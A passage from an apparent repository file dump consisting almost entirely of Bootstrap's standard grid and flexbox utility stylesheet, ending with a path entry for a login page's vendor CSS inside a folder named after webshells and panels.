.col-5, .col-6, .col-7, .col-8, .col-9, .col-10, .col-11, .col-12, .col,\n.col-auto, .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12, .col-sm,\n.col-sm-auto, .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12, .col-md,\n.col-md-auto, .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12, .col-lg,\n.col-lg-auto, .col-xl-1, .col-xl-2, .col-xl-3, .col-xl-4, .col-xl-5, .col-xl-6, .col-xl-7, .col-xl-8, .col-xl-9, .col-xl-10, .col-xl-11, .col-xl-12, .col-xl,\n.col-xl-auto {\n  position: relative;\n  width: 100%;\n  min-height: 1px;\n  padding-right: 15px;\n  padding-left: 15px;\n}\n\n.col {\n  -ms-flex-preferred-size: 0;\n      flex-basis: 0;\n  -ms-flex-positive: 1;\n      flex-grow: 1;\n  max-width: 100%;\n}\n\n.col-auto {\n  -ms-flex: 0 0 auto;\n      flex: 0 0 auto;\n  width: auto;\n  max-width: none;\n}\n\n.col-1 {\n  -ms-flex: 0 0 8.333333%;\n      flex: 0 0 8.333333%;\n  max-width: 8.333333%;\n}\n\n.col-2 {\n  -ms-flex: 0 0 16.666667%;\n      flex: 0 0 16.666667%;\n  max-width: 16.666667%;\n}\n\n.col-3 {\n  -ms-flex: 0 0 25%;\n      flex: 0 0 25%;\n  max-width: 25%;\n}\n\n.col-4 {\n  -ms-flex: 0 0 33.333333%;\n      flex: 0 0 33.333333%;\n  max-width: 33.333333%;\n}\n\n.col-5 {\n  -ms-flex: 0 0 41.666667%;\n      flex: 0 0 41.666667%;\n  max-width: 41.666667%;\n}\n\n.col-6 {\n  -ms-flex: 0 0 50%;\n      flex: 0 0 50%;\n  max-width: 50%;\n}\n\n.col-7 {\n  -ms-flex: 0 0 58.333333%;\n      flex: 0 0 58.333333%;\n  max-width: 58.333333%;\n}\n\n.col-8 {\n  -ms-flex: 0 0 66.666667%;\n      flex: 0 0 66.666667%;\n  max-width: 66.666667%;\n}\n\n.col-9 {\n  -ms-flex: 0 0 75%;\n      flex: 0 0 75%;\n  max-width: 75%;\n}\n\n.col-10 {\n  -ms-flex: 0 0 83.333333%;\n      flex: 0 0 83.333333%;\n  max-width: 83.333333%;\n}\n\n.col-11 {\n  -ms-flex: 0 0 91.666667%;\n      flex: 0 0 91.666667%;\n  max-width: 91.666667%;\n}\n\n.col-12 {\n  -ms-flex: 0 0 100%;\n      flex: 0 0 100%;\n  max-width: 100%;\n}\n\n.order-1 {\n  -ms-flex-order: 1;\n      order: 1;\n}\n\n.order-2 {\n  -ms-flex-order: 2;\n      order: 2;\n}\n\n.order-3 {\n  -ms-flex-order: 3;\n      order: 3;\n}\n\n.order-4 {\n  -ms-flex-order: 4;\n      order: 4;\n}\n\n.order-5 {\n  -ms-flex-order: 5;\n      order: 5;\n}\n\n.order-6 {\n  -ms-flex-order: 6;\n      order: 6;\n}\n\n.order-7 {\n  -ms-flex-order: 7;\n      order: 7;\n}\n\n.order-8 {\n  -ms-flex-order: 8;\n      order: 8;\n}\n\n.order-9 {\n  -ms-flex-order: 9;\n      order: 9;\n}\n\n.order-10 {\n  -ms-flex-order: 10;\n      order: 10;\n}\n\n.order-11 {\n  -ms-flex-order: 11;\n      order: 11;\n}\n\n.order-12 {\n  -ms-flex-order: 12;\n      order: 12;\n}\n\n@media (min-width: 576px) {\n  .col-sm {\n    -ms-flex-preferred-size: 0;\n        flex-basis: 0;\n    -ms-flex-positive: 1;\n        flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-sm-auto {\n    -ms-flex: 0 0 auto;\n        flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-sm-1 {\n    -ms-flex: 0 0 8.333333%;\n        flex: 0 0 8.333333%;\n    max-width: 8.333333%;\n  }\n  .col-sm-2 {\n    -ms-flex: 0 0 16.666667%;\n        flex: 0 0 16.666667%;\n    max-width: 16.666667%;\n  }\n  .col-sm-3 {\n    -ms-flex: 0 0 25%;\n        flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-sm-4 {\n    -ms-flex: 0 0 33.333333%;\n        flex: 0 0 33.333333%;\n    max-width: 33.333333%;\n  }\n  .col-sm-5 {\n    -ms-flex: 0 0 41.666667%;\n        flex: 0 0 41.666667%;\n    max-width: 41.666667%;\n  }\n  .col-sm-6 {\n    -ms-flex: 0 0 50%;\n        flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-sm-7 {\n    -ms-flex: 0 0 58.333333%;\n        flex: 0 0 58.333333%;\n    max-width: 58.333333%;\n  }\n  .col-sm-8 {\n    -ms-flex: 0 0 66.666667%;\n        flex: 0 0 66.666667%;\n    max-width: 66.666667%;\n  }\n  .col-sm-9 {\n    -ms-flex: 0 0 75%;\n        flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-sm-10 {\n    -ms-flex: 0 0 83.333333%;\n        flex: 0 0 83.333333%;\n    max-width: 83.333333%;\n  }\n  .col-sm-11 {\n    -ms-flex: 0 0 91.666667%;\n        flex: 0 0 91.666667%;\n    max-width: 91.666667%;\n  }\n  .col-sm-12 {\n    -ms-flex: 0 0 100%;\n        flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-sm-1 {\n    -ms-flex-order: 1;\n        order: 1;\n  }\n  .order-sm-2 {\n    -ms-flex-order: 2;\n        order: 2;\n  }\n  .order-sm-3 {\n    -ms-flex-order: 3;\n        order: 3;\n  }\n  .order-sm-4 {\n    -ms-flex-order: 4;\n        order: 4;\n  }\n  .order-sm-5 {\n    -ms-flex-order: 5;\n        order: 5;\n  }\n  .order-sm-6 {\n    -ms-flex-order: 6;\n        order: 6;\n  }\n  .order-sm-7 {\n    -ms-flex-order: 7;\n        order: 7;\n  }\n  .order-sm-8 {\n    -ms-flex-order: 8;\n        order: 8;\n  }\n  .order-sm-9 {\n    -ms-flex-order: 9;\n        order: 9;\n  }\n  .order-sm-10 {\n    -ms-flex-order: 10;\n        order: 10;\n  }\n  .order-sm-11 {\n    -ms-flex-order: 11;\n        order: 11;\n  }\n  .order-sm-12 {\n    -ms-flex-order: 12;\n        order: 12;\n  }\n}\n\n@media (min-width: 768px) {\n  .col-md {\n    -ms-flex-preferred-size: 0;\n        flex-basis: 0;\n    -ms-flex-positive: 1;\n        flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-md-auto {\n    -ms-flex: 0 0 auto;\n        flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-md-1 {\n    -ms-flex: 0 0 8.333333%;\n        flex: 0 0 8.333333%;\n    max-width: 8.333333%;\n  }\n  .col-md-2 {\n    -ms-flex: 0 0 16.666667%;\n        flex: 0 0 16.666667%;\n    max-width: 16.666667%;\n  }\n  .col-md-3 {\n    -ms-flex: 0 0 25%;\n        flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-md-4 {\n    -ms-flex: 0 0 33.333333%;\n        flex: 0 0 33.333333%;\n    max-width: 33.333333%;\n  }\n  .col-md-5 {\n    -ms-flex: 0 0 41.666667%;\n        flex: 0 0 41.666667%;\n    max-width: 41.666667%;\n  }\n  .col-md-6 {\n    -ms-flex: 0 0 50%;\n        flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-md-7 {\n    -ms-flex: 0 0 58.333333%;\n        flex: 0 0 58.333333%;\n    max-width: 58.333333%;\n  }\n  .col-md-8 {\n    -ms-flex: 0 0 66.666667%;\n        flex: 0 0 66.666667%;\n    max-width: 66.666667%;\n  }\n  .col-md-9 {\n    -ms-flex: 0 0 75%;\n        flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-md-10 {\n    -ms-flex: 0 0 83.333333%;\n        flex: 0 0 83.333333%;\n    max-width: 83.333333%;\n  }\n  .col-md-11 {\n    -ms-flex: 0 0 91.666667%;\n        flex: 0 0 91.666667%;\n    max-width: 91.666667%;\n  }\n  .col-md-12 {\n    -ms-flex: 0 0 100%;\n        flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-md-1 {\n    -ms-flex-order: 1;\n        order: 1;\n  }\n  .order-md-2 {\n    -ms-flex-order: 2;\n        order: 2;\n  }\n  .order-md-3 {\n    -ms-flex-order: 3;\n        order: 3;\n  }\n  .order-md-4 {\n    -ms-flex-order: 4;\n        order: 4;\n  }\n  .order-md-5 {\n    -ms-flex-order: 5;\n        order: 5;\n  }\n  .order-md-6 {\n    -ms-flex-order: 6;\n        order: 6;\n  }\n  .order-md-7 {\n    -ms-flex-order: 7;\n        order: 7;\n  }\n  .order-md-8 {\n    -ms-flex-order: 8;\n        order: 8;\n  }\n  .order-md-9 {\n    -ms-flex-order: 9;\n        order: 9;\n  }\n  .order-md-10 {\n    -ms-flex-order: 10;\n        order: 10;\n  }\n  .order-md-11 {\n    -ms-flex-order: 11;\n        order: 11;\n  }\n  .order-md-12 {\n    -ms-flex-order: 12;\n        order: 12;\n  }\n}\n\n@media (min-width: 992px) {\n  .col-lg {\n    -ms-flex-preferred-size: 0;\n        flex-basis: 0;\n    -ms-flex-positive: 1;\n        flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-lg-auto {\n    -ms-flex: 0 0 auto;\n        flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-lg-1 {\n    -ms-flex: 0 0 8.333333%;\n        flex: 0 0 8.333333%;\n    max-width: 8.333333%;\n  }\n  .col-lg-2 {\n    -ms-flex: 0 0 16.666667%;\n        flex: 0 0 16.666667%;\n    max-width: 16.666667%;\n  }\n  .col-lg-3 {\n    -ms-flex: 0 0 25%;\n        flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-lg-4 {\n    -ms-flex: 0 0 33.333333%;\n        flex: 0 0 33.333333%;\n    max-width: 33.333333%;\n  }\n  .col-lg-5 {\n    -ms-flex: 0 0 41.666667%;\n        flex: 0 0 41.666667%;\n    max-width: 41.666667%;\n  }\n  .col-lg-6 {\n    -ms-flex: 0 0 50%;\n        flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-lg-7 {\n    -ms-flex: 0 0 58.333333%;\n        flex: 0 0 58.333333%;\n    max-width: 58.333333%;\n  }\n  .col-lg-8 {\n    -ms-flex: 0 0 66.666667%;\n        flex: 0 0 66.666667%;\n    max-width: 66.666667%;\n  }\n  .col-lg-9 {\n    -ms-flex: 0 0 75%;\n        flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-lg-10 {\n    -ms-flex: 0 0 83.333333%;\n        flex: 0 0 83.333333%;\n    max-width: 83.333333%;\n  }\n  .col-lg-11 {\n    -ms-flex: 0 0 91.666667%;\n        flex: 0 0 91.666667%;\n    max-width: 91.666667%;\n  }\n  .col-lg-12 {\n    -ms-flex: 0 0 100%;\n        flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-lg-1 {\n    -ms-flex-order: 1;\n        order: 1;\n  }\n  .order-lg-2 {\n    -ms-flex-order: 2;\n        order: 2;\n  }\n  .order-lg-3 {\n    -ms-flex-order: 3;\n        order: 3;\n  }\n  .order-lg-4 {\n    -ms-flex-order: 4;\n        order: 4;\n  }\n  .order-lg-5 {\n    -ms-flex-order: 5;\n        order: 5;\n  }\n  .order-lg-6 {\n    -ms-flex-order: 6;\n        order: 6;\n  }\n  .order-lg-7 {\n    -ms-flex-order: 7;\n        order: 7;\n  }\n  .order-lg-8 {\n    -ms-flex-order: 8;\n        order: 8;\n  }\n  .order-lg-9 {\n    -ms-flex-order: 9;\n        order: 9;\n  }\n  .order-lg-10 {\n    -ms-flex-order: 10;\n        order: 10;\n  }\n  .order-lg-11 {\n    -ms-flex-order: 11;\n        order: 11;\n  }\n  .order-lg-12 {\n    -ms-flex-order: 12;\n        order: 12;\n  }\n}\n\n@media (min-width: 1200px) {\n  .col-xl {\n    -ms-flex-preferred-size: 0;\n        flex-basis: 0;\n    -ms-flex-positive: 1;\n        flex-grow: 1;\n    max-width: 100%;\n  }\n  .col-xl-auto {\n    -ms-flex: 0 0 auto;\n        flex: 0 0 auto;\n    width: auto;\n    max-width: none;\n  }\n  .col-xl-1 {\n    -ms-flex: 0 0 8.333333%;\n        flex: 0 0 8.333333%;\n    max-width: 8.333333%;\n  }\n  .col-xl-2 {\n    -ms-flex: 0 0 16.666667%;\n        flex: 0 0 16.666667%;\n    max-width: 16.666667%;\n  }\n  .col-xl-3 {\n    -ms-flex: 0 0 25%;\n        flex: 0 0 25%;\n    max-width: 25%;\n  }\n  .col-xl-4 {\n    -ms-flex: 0 0 33.333333%;\n        flex: 0 0 33.333333%;\n    max-width: 33.333333%;\n  }\n  .col-xl-5 {\n    -ms-flex: 0 0 41.666667%;\n        flex: 0 0 41.666667%;\n    max-width: 41.666667%;\n  }\n  .col-xl-6 {\n    -ms-flex: 0 0 50%;\n        flex: 0 0 50%;\n    max-width: 50%;\n  }\n  .col-xl-7 {\n    -ms-flex: 0 0 58.333333%;\n        flex: 0 0 58.333333%;\n    max-width: 58.333333%;\n  }\n  .col-xl-8 {\n    -ms-flex: 0 0 66.666667%;\n        flex: 0 0 66.666667%;\n    max-width: 66.666667%;\n  }\n  .col-xl-9 {\n    -ms-flex: 0 0 75%;\n        flex: 0 0 75%;\n    max-width: 75%;\n  }\n  .col-xl-10 {\n    -ms-flex: 0 0 83.333333%;\n        flex: 0 0 83.333333%;\n    max-width: 83.333333%;\n  }\n  .col-xl-11 {\n    -ms-flex: 0 0 91.666667%;\n        flex: 0 0 91.666667%;\n    max-width: 91.666667%;\n  }\n  .col-xl-12 {\n    -ms-flex: 0 0 100%;\n        flex: 0 0 100%;\n    max-width: 100%;\n  }\n  .order-xl-1 {\n    -ms-flex-order: 1;\n        order: 1;\n  }\n  .order-xl-2 {\n    -ms-flex-order: 2;\n        order: 2;\n  }\n  .order-xl-3 {\n    -ms-flex-order: 3;\n        order: 3;\n  }\n  .order-xl-4 {\n    -ms-flex-order: 4;\n        order: 4;\n  }\n  .order-xl-5 {\n    -ms-flex-order: 5;\n        order: 5;\n  }\n  .order-xl-6 {\n    -ms-flex-order: 6;\n        order: 6;\n  }\n  .order-xl-7 {\n    -ms-flex-order: 7;\n        order: 7;\n  }\n  .order-xl-8 {\n    -ms-flex-order: 8;\n        order: 8;\n  }\n  .order-xl-9 {\n    -ms-flex-order: 9;\n        order: 9;\n  }\n  .order-xl-10 {\n    -ms-flex-order: 10;\n        order: 10;\n  }\n  .order-xl-11 {\n    -ms-flex-order: 11;\n        order: 11;\n  }\n  .order-xl-12 {\n    -ms-flex-order: 12;\n        order: 12;\n  }\n}\n\n.flex-row {\n  -ms-flex-direction: row !important;\n      flex-direction: row !important;\n}\n\n.flex-column {\n  -ms-flex-direction: column !important;\n      flex-direction: column !important;\n}\n\n.flex-row-reverse {\n  -ms-flex-direction: row-reverse !important;\n      flex-direction: row-reverse !important;\n}\n\n.flex-column-reverse {\n  -ms-flex-direction: column-reverse !important;\n      flex-direction: column-reverse !important;\n}\n\n.flex-wrap {\n  -ms-flex-wrap: wrap !important;\n      flex-wrap: wrap !important;\n}\n\n.flex-nowrap {\n  -ms-flex-wrap: nowrap !important;\n      flex-wrap: nowrap !important;\n}\n\n.flex-wrap-reverse {\n  -ms-flex-wrap: wrap-reverse !important;\n      flex-wrap: wrap-reverse !important;\n}\n\n.justify-content-start {\n  -ms-flex-pack: start !important;\n      justify-content: flex-start !important;\n}\n\n.justify-content-end {\n  -ms-flex-pack: end !important;\n      justify-content: flex-end !important;\n}\n\n.justify-content-center {\n  -ms-flex-pack: center !important;\n      justify-content: center !important;\n}\n\n.justify-content-between {\n  -ms-flex-pack: justify !important;\n      justify-content: space-between !important;\n}\n\n.justify-content-around {\n  -ms-flex-pack: distribute !important;\n      justify-content: space-around !important;\n}\n\n.align-items-start {\n  -ms-flex-align: start !important;\n      align-items: flex-start !important;\n}\n\n.align-items-end {\n  -ms-flex-align: end !important;\n      align-items: flex-end !important;\n}\n\n.align-items-center {\n  -ms-flex-align: center !important;\n      align-items: center !important;\n}\n\n.align-items-baseline {\n  -ms-flex-align: baseline !important;\n      align-items: baseline !important;\n}\n\n.align-items-stretch {\n  -ms-flex-align: stretch !important;\n      align-items: stretch !important;\n}\n\n.align-content-start {\n  -ms-flex-line-pack: start !important;\n      align-content: flex-start !important;\n}\n\n.align-content-end {\n  -ms-flex-line-pack: end !important;\n      align-content: flex-end !important;\n}\n\n.align-content-center {\n  -ms-flex-line-pack: center !important;\n      align-content: center !important;\n}\n\n.align-content-between {\n  -ms-flex-line-pack: justify !important;\n      align-content: space-between !important;\n}\n\n.align-content-around {\n  -ms-flex-line-pack: distribute !important;\n      align-content: space-around !important;\n}\n\n.align-content-stretch {\n  -ms-flex-line-pack: stretch !important;\n      align-content: stretch !important;\n}\n\n.align-self-auto {\n  -ms-flex-item-align: auto !important;\n      align-self: auto !important;\n}\n\n.align-self-start {\n  -ms-flex-item-align: start !important;\n      align-self: flex-start !important;\n}\n\n.align-self-end {\n  -ms-flex-item-align: end !important;\n      align-self: flex-end !important;\n}\n\n.align-self-center {\n  -ms-flex-item-align: center !important;\n      align-self: center !important;\n}\n\n.align-self-baseline {\n  -ms-flex-item-align: baseline !important;\n      align-self: baseline !important;\n}\n\n.align-self-stretch {\n  -ms-flex-item-align: stretch !important;\n      align-self: stretch !important;\n}\n\n@media (min-width: 576px) {\n  .flex-sm-row {\n    -ms-flex-direction: row !important;\n        flex-direction: row !important;\n  }\n  .flex-sm-column {\n    -ms-flex-direction: column !important;\n        flex-direction: column !important;\n  }\n  .flex-sm-row-reverse {\n    -ms-flex-direction: row-reverse !important;\n        flex-direction: row-reverse !important;\n  }\n  .flex-sm-column-reverse {\n    -ms-flex-direction: column-reverse !important;\n        flex-direction: column-reverse !important;\n  }\n  .flex-sm-wrap {\n    -ms-flex-wrap: wrap !important;\n        flex-wrap: wrap !important;\n  }\n  .flex-sm-nowrap {\n    -ms-flex-wrap: nowrap !important;\n        flex-wrap: nowrap !important;\n  }\n  .flex-sm-wrap-reverse {\n    -ms-flex-wrap: wrap-reverse !important;\n        flex-wrap: wrap-reverse !important;\n  }\n  .justify-content-sm-start {\n    -ms-flex-pack: start !important;\n        justify-content: flex-start !important;\n  }\n  .justify-content-sm-end {\n    -ms-flex-pack: end !important;\n        justify-content: flex-end !important;\n  }\n  .justify-content-sm-center {\n    -ms-flex-pack: center !important;\n        justify-content: center !important;\n  }\n  .justify-content-sm-between {\n    -ms-flex-pack: justify !important;\n        justify-content: space-between !important;\n  }\n  .justify-content-sm-around {\n    -ms-flex-pack: distribute !important;\n        justify-content: space-around !important;\n  }\n  .align-items-sm-start {\n    -ms-flex-align: start !important;\n        align-items: flex-start !important;\n  }\n  .align-items-sm-end {\n    -ms-flex-align: end !important;\n        align-items: flex-end !important;\n  }\n  .align-items-sm-center {\n    -ms-flex-align: center !important;\n        align-items: center !important;\n  }\n  .align-items-sm-baseline {\n    -ms-flex-align: baseline !important;\n        align-items: baseline !important;\n  }\n  .align-items-sm-stretch {\n    -ms-flex-align: stretch !important;\n        align-items: stretch !important;\n  }\n  .align-content-sm-start {\n    -ms-flex-line-pack: start !important;\n        align-content: flex-start !important;\n  }\n  .align-content-sm-end {\n    -ms-flex-line-pack: end !important;\n        align-content: flex-end !important;\n  }\n  .align-content-sm-center {\n    -ms-flex-line-pack: center !important;\n        align-content: center !important;\n  }\n  .align-content-sm-between {\n    -ms-flex-line-pack: justify !important;\n        align-content: space-between !important;\n  }\n  .align-content-sm-around {\n    -ms-flex-line-pack: distribute !important;\n        align-content: space-around !important;\n  }\n  .align-content-sm-stretch {\n    -ms-flex-line-pack: stretch !important;\n        align-content: stretch !important;\n  }\n  .align-self-sm-auto {\n    -ms-flex-item-align: auto !important;\n        align-self: auto !important;\n  }\n  .align-self-sm-start {\n    -ms-flex-item-align: start !important;\n        align-self: flex-start !important;\n  }\n  .align-self-sm-end {\n    -ms-flex-item-align: end !important;\n        align-self: flex-end !important;\n  }\n  .align-self-sm-center {\n    -ms-flex-item-align: center !important;\n        align-self: center !important;\n  }\n  .align-self-sm-baseline {\n    -ms-flex-item-align: baseline !important;\n        align-self: baseline !important;\n  }\n  .align-self-sm-stretch {\n    -ms-flex-item-align: stretch !important;\n        align-self: stretch !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .flex-md-row {\n    -ms-flex-direction: row !important;\n        flex-direction: row !important;\n  }\n  .flex-md-column {\n    -ms-flex-direction: column !important;\n        flex-direction: column !important;\n  }\n  .flex-md-row-reverse {\n    -ms-flex-direction: row-reverse !important;\n        flex-direction: row-reverse !important;\n  }\n  .flex-md-column-reverse {\n    -ms-flex-direction: column-reverse !important;\n        flex-direction: column-reverse !important;\n  }\n  .flex-md-wrap {\n    -ms-flex-wrap: wrap !important;\n        flex-wrap: wrap !important;\n  }\n  .flex-md-nowrap {\n    -ms-flex-wrap: nowrap !important;\n        flex-wrap: nowrap !important;\n  }\n  .flex-md-wrap-reverse {\n    -ms-flex-wrap: wrap-reverse !important;\n        flex-wrap: wrap-reverse !important;\n  }\n  .justify-content-md-start {\n    -ms-flex-pack: start !important;\n        justify-content: flex-start !important;\n  }\n  .justify-content-md-end {\n    -ms-flex-pack: end !important;\n        justify-content: flex-end !important;\n  }\n  .justify-content-md-center {\n    -ms-flex-pack: center !important;\n        justify-content: center !important;\n  }\n  .justify-content-md-between {\n    -ms-flex-pack: justify !important;\n        justify-content: space-between !important;\n  }\n  .justify-content-md-around {\n    -ms-flex-pack: distribute !important;\n        justify-content: space-around !important;\n  }\n  .align-items-md-start {\n    -ms-flex-align: start !important;\n        align-items: flex-start !important;\n  }\n  .align-items-md-end {\n    -ms-flex-align: end !important;\n        align-items: flex-end !important;\n  }\n  .align-items-md-center {\n    -ms-flex-align: center !important;\n        align-items: center !important;\n  }\n  .align-items-md-baseline {\n    -ms-flex-align: baseline !important;\n        align-items: baseline !important;\n  }\n  .align-items-md-stretch {\n    -ms-flex-align: stretch !important;\n        align-items: stretch !important;\n  }\n  .align-content-md-start {\n    -ms-flex-line-pack: start !important;\n        align-content: flex-start !important;\n  }\n  .align-content-md-end {\n    -ms-flex-line-pack: end !important;\n        align-content: flex-end !important;\n  }\n  .align-content-md-center {\n    -ms-flex-line-pack: center !important;\n        align-content: center !important;\n  }\n  .align-content-md-between {\n    -ms-flex-line-pack: justify !important;\n        align-content: space-between !important;\n  }\n  .align-content-md-around {\n    -ms-flex-line-pack: distribute !important;\n        align-content: space-around !important;\n  }\n  .align-content-md-stretch {\n    -ms-flex-line-pack: stretch !important;\n        align-content: stretch !important;\n  }\n  .align-self-md-auto {\n    -ms-flex-item-align: auto !important;\n        align-self: auto !important;\n  }\n  .align-self-md-start {\n    -ms-flex-item-align: start !important;\n        align-self: flex-start !important;\n  }\n  .align-self-md-end {\n    -ms-flex-item-align: end !important;\n        align-self: flex-end !important;\n  }\n  .align-self-md-center {\n    -ms-flex-item-align: center !important;\n        align-self: center !important;\n  }\n  .align-self-md-baseline {\n    -ms-flex-item-align: baseline !important;\n        align-self: baseline !important;\n  }\n  .align-self-md-stretch {\n    -ms-flex-item-align: stretch !important;\n        align-self: stretch !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .flex-lg-row {\n    -ms-flex-direction: row !important;\n        flex-direction: row !important;\n  }\n  .flex-lg-column {\n    -ms-flex-direction: column !important;\n        flex-direction: column !important;\n  }\n  .flex-lg-row-reverse {\n    -ms-flex-direction: row-reverse !important;\n        flex-direction: row-reverse !important;\n  }\n  .flex-lg-column-reverse {\n    -ms-flex-direction: column-reverse !important;\n        flex-direction: column-reverse !important;\n  }\n  .flex-lg-wrap {\n    -ms-flex-wrap: wrap !important;\n        flex-wrap: wrap !important;\n  }\n  .flex-lg-nowrap {\n    -ms-flex-wrap: nowrap !important;\n        flex-wrap: nowrap !important;\n  }\n  .flex-lg-wrap-reverse {\n    -ms-flex-wrap: wrap-reverse !important;\n        flex-wrap: wrap-reverse !important;\n  }\n  .justify-content-lg-start {\n    -ms-flex-pack: start !important;\n        justify-content: flex-start !important;\n  }\n  .justify-content-lg-end {\n    -ms-flex-pack: end !important;\n        justify-content: flex-end !important;\n  }\n  .justify-content-lg-center {\n    -ms-flex-pack: center !important;\n        justify-content: center !important;\n  }\n  .justify-content-lg-between {\n    -ms-flex-pack: justify !important;\n        justify-content: space-between !important;\n  }\n  .justify-content-lg-around {\n    -ms-flex-pack: distribute !important;\n        justify-content: space-around !important;\n  }\n  .align-items-lg-start {\n    -ms-flex-align: start !important;\n        align-items: flex-start !important;\n  }\n  .align-items-lg-end {\n    -ms-flex-align: end !important;\n        align-items: flex-end !important;\n  }\n  .align-items-lg-center {\n    -ms-flex-align: center !important;\n        align-items: center !important;\n  }\n  .align-items-lg-baseline {\n    -ms-flex-align: baseline !important;\n        align-items: baseline !important;\n  }\n  .align-items-lg-stretch {\n    -ms-flex-align: stretch !important;\n        align-items: stretch !important;\n  }\n  .align-content-lg-start {\n    -ms-flex-line-pack: start !important;\n        align-content: flex-start !important;\n  }\n  .align-content-lg-end {\n    -ms-flex-line-pack: end !important;\n        align-content: flex-end !important;\n  }\n  .align-content-lg-center {\n    -ms-flex-line-pack: center !important;\n        align-content: center !important;\n  }\n  .align-content-lg-between {\n    -ms-flex-line-pack: justify !important;\n        align-content: space-between !important;\n  }\n  .align-content-lg-around {\n    -ms-flex-line-pack: distribute !important;\n        align-content: space-around !important;\n  }\n  .align-content-lg-stretch {\n    -ms-flex-line-pack: stretch !important;\n        align-content: stretch !important;\n  }\n  .align-self-lg-auto {\n    -ms-flex-item-align: auto !important;\n        align-self: auto !important;\n  }\n  .align-self-lg-start {\n    -ms-flex-item-align: start !important;\n        align-self: flex-start !important;\n  }\n  .align-self-lg-end {\n    -ms-flex-item-align: end !important;\n        align-self: flex-end !important;\n  }\n  .align-self-lg-center {\n    -ms-flex-item-align: center !important;\n        align-self: center !important;\n  }\n  .align-self-lg-baseline {\n    -ms-flex-item-align: baseline !important;\n        align-self: baseline !important;\n  }\n  .align-self-lg-stretch {\n    -ms-flex-item-align: stretch !important;\n        align-self: stretch !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .flex-xl-row {\n    -ms-flex-direction: row !important;\n        flex-direction: row !important;\n  }\n  .flex-xl-column {\n    -ms-flex-direction: column !important;\n        flex-direction: column !important;\n  }\n  .flex-xl-row-reverse {\n    -ms-flex-direction: row-reverse !important;\n        flex-direction: row-reverse !important;\n  }\n  .flex-xl-column-reverse {\n    -ms-flex-direction: column-reverse !important;\n        flex-direction: column-reverse !important;\n  }\n  .flex-xl-wrap {\n    -ms-flex-wrap: wrap !important;\n        flex-wrap: wrap !important;\n  }\n  .flex-xl-nowrap {\n    -ms-flex-wrap: nowrap !important;\n        flex-wrap: nowrap !important;\n  }\n  .flex-xl-wrap-reverse {\n    -ms-flex-wrap: wrap-reverse !important;\n        flex-wrap: wrap-reverse !important;\n  }\n  .justify-content-xl-start {\n    -ms-flex-pack: start !important;\n        justify-content: flex-start !important;\n  }\n  .justify-content-xl-end {\n    -ms-flex-pack: end !important;\n        justify-content: flex-end !important;\n  }\n  .justify-content-xl-center {\n    -ms-flex-pack: center !important;\n        justify-content: center !important;\n  }\n  .justify-content-xl-between {\n    -ms-flex-pack: justify !important;\n        justify-content: space-between !important;\n  }\n  .justify-content-xl-around {\n    -ms-flex-pack: distribute !important;\n        justify-content: space-around !important;\n  }\n  .align-items-xl-start {\n    -ms-flex-align: start !important;\n        align-items: flex-start !important;\n  }\n  .align-items-xl-end {\n    -ms-flex-align: end !important;\n        align-items: flex-end !important;\n  }\n  .align-items-xl-center {\n    -ms-flex-align: center !important;\n        align-items: center !important;\n  }\n  .align-items-xl-baseline {\n    -ms-flex-align: baseline !important;\n        align-items: baseline !important;\n  }\n  .align-items-xl-stretch {\n    -ms-flex-align: stretch !important;\n        align-items: stretch !important;\n  }\n  .align-content-xl-start {\n    -ms-flex-line-pack: start !important;\n        align-content: flex-start !important;\n  }\n  .align-content-xl-end {\n    -ms-flex-line-pack: end !important;\n        align-content: flex-end !important;\n  }\n  .align-content-xl-center {\n    -ms-flex-line-pack: center !important;\n        align-content: center !important;\n  }\n  .align-content-xl-between {\n    -ms-flex-line-pack: justify !important;\n        align-content: space-between !important;\n  }\n  .align-content-xl-around {\n    -ms-flex-line-pack: distribute !important;\n        align-content: space-around !important;\n  }\n  .align-content-xl-stretch {\n    -ms-flex-line-pack: stretch !important;\n        align-content: stretch !important;\n  }\n  .align-self-xl-auto {\n    -ms-flex-item-align: auto !important;\n        align-self: auto !important;\n  }\n  .align-self-xl-start {\n    -ms-flex-item-align: start !important;\n        align-self: flex-start !important;\n  }\n  .align-self-xl-end {\n    -ms-flex-item-align: end !important;\n        align-self: flex-end !important;\n  }\n  .align-self-xl-center {\n    -ms-flex-item-align: center !important;\n        align-self: center !important;\n  }\n  .align-self-xl-baseline {\n    -ms-flex-item-align: baseline !important;\n        align-self: baseline !important;\n  }\n  .align-self-xl-stretch {\n    -ms-flex-item-align: stretch !important;\n        align-self: stretch !important;\n  }\n}\n/*# sourceMappingURL=bootstrap-grid.css.map */"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/vendor/bootstrap/css/bootstrap-reboot.css",
